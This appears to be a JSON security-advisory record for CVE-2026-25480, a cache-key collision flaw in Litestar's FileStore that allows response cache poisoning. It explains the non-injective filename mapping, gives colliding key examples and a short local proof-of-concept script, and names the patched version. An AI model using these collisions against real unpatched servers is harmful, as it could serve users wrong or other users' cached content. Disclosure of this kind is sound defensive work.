{"id":"CVE-2026-25480","aliases":["GHSA-vxqx-rh46-q2pg","PYSEC-2026-2197"],"title":"Litestar's FileStore key canonicalization collisions allow response cache mixup/poisoning (ASCII ord + Unicode NFKD)","summary":"Litestar's FileStore key canonicalization collisions allow response cache mixup/poisoning (ASCII ord + Unicode NFKD)","severity":"medium","cvss":6.5,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","vendor":"litestar","product":"litestar","ecosystem":"pip","affected":["litestar >= 2.19.0, < 2.20.0"],"patched":["litestar 2.20.0"],"published":"2026-02-09","updated":"2026-07-13","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-vxqx-rh46-q2pg","references":[{"url":"https://github.com/litestar-org/litestar/security/advisories/GHSA-vxqx-rh46-q2pg"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25480"},{"url":"https://github.com/litestar-org/litestar/commit/85db6183a76f8a6b3fd6ee3c88d860b9f37a2cca"},{"url":"https://docs.litestar.dev/2/release-notes/changelog.html#2.20.0"},{"url":"https://github.com/litestar-org/litestar"},{"url":"https://github.com/litestar-org/litestar/releases/tag/v2.20.0"}],"tags":["osv","pip"],"epss":0.00428,"epssPercentile":0.3663,"ingestedAt":"2026-07-13T18:58:03.920Z","slug":"CVE-2026-25480","body":"## Overview\n\n### Summary\nFileStore maps cache keys to filenames using Unicode NFKD normalization and ord() substitution without separators, creating key collisions. When FileStore is used as response-cache backend, an unauthenticated remote attacker can trigger cache key collisions via crafted paths, causing one URL to serve cached responses of another (cache poisoning/mixup)\n\n### Details\nlitestar.stores.file._safe_file_name() normalizes input with unicodedata.normalize(\"NFKD\", name) and builds the filename by concatenating c if alphanumeric else str(ord(c)) (no delimiter).\nThis transformation is not injective, e.g.:\n\n- \"k-\" and \"k45\" both become \"k45\" (because - ord('-') == 45)\n- \"k/\\n\" becomes \"k4710\", colliding with \"k4710\"\n- \"K\" (Kelvin sign) normalizes to \"K\", colliding with \"K\"\n\nWhen used in response caching, the default cache key includes request path and sorted query params, which are attacker-controlled.\n\n### PoC\n\n```\nimport asyncio, tempfile\nfrom litestar.stores.file import FileStore\n\nasync def main():\n    d = tempfile.mkdtemp(prefix=\"ls_filestore_poc_\")\n    store = FileStore(d, create_directories=True)\n    await store.__aenter__()\n\n    # 1) ASCII ord-collision: \"-\" -> 45\n    await store.set(\"k-\", b\"A\")\n    v = await store.get(\"k45\")\n    print(\"k-  ->\", v)\n    print(\"k45 ->\", await store.get(\"k45\"))\n    if v == b\"A\":\n        print(\"VULNERABLE: 'k-' collides with 'k45'\")\n\n    # 2) NFKD collision: Kelvin sign -> K\n    await store.set(\"K\", b\"B\")   # U+212A\n    v2 = await store.get(\"K\")\n    print(\"K ->\", await store.get(\"K\"))\n    print(\"K ->\", v2)\n    if v2 == b\"B\":\n        print(\"VULNERABLE: 'K' collides with 'K' (NFKD)\")\n\nif __name__ == \"__main__\":\n    asyncio.run(main())\n```\n\n### Impact\nVulnerability type: cache poisoning / cache key collision.\nImpacted deployments: applications using Litestar response caching with FileStore backend (or any attacker-influenced keying into FileStore).\nPossible impact: serving incorrect cached content across distinct URLs, potential confidentiality/integrity issues depending on what endpoints are cached.\n\n## Affected packages\n\n- `litestar >= 2.19.0, < 2.20.0`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `litestar 2.20.0`","depth":"sunlit","depthScore":36,"depthScoreParts":{"impact":35.8,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}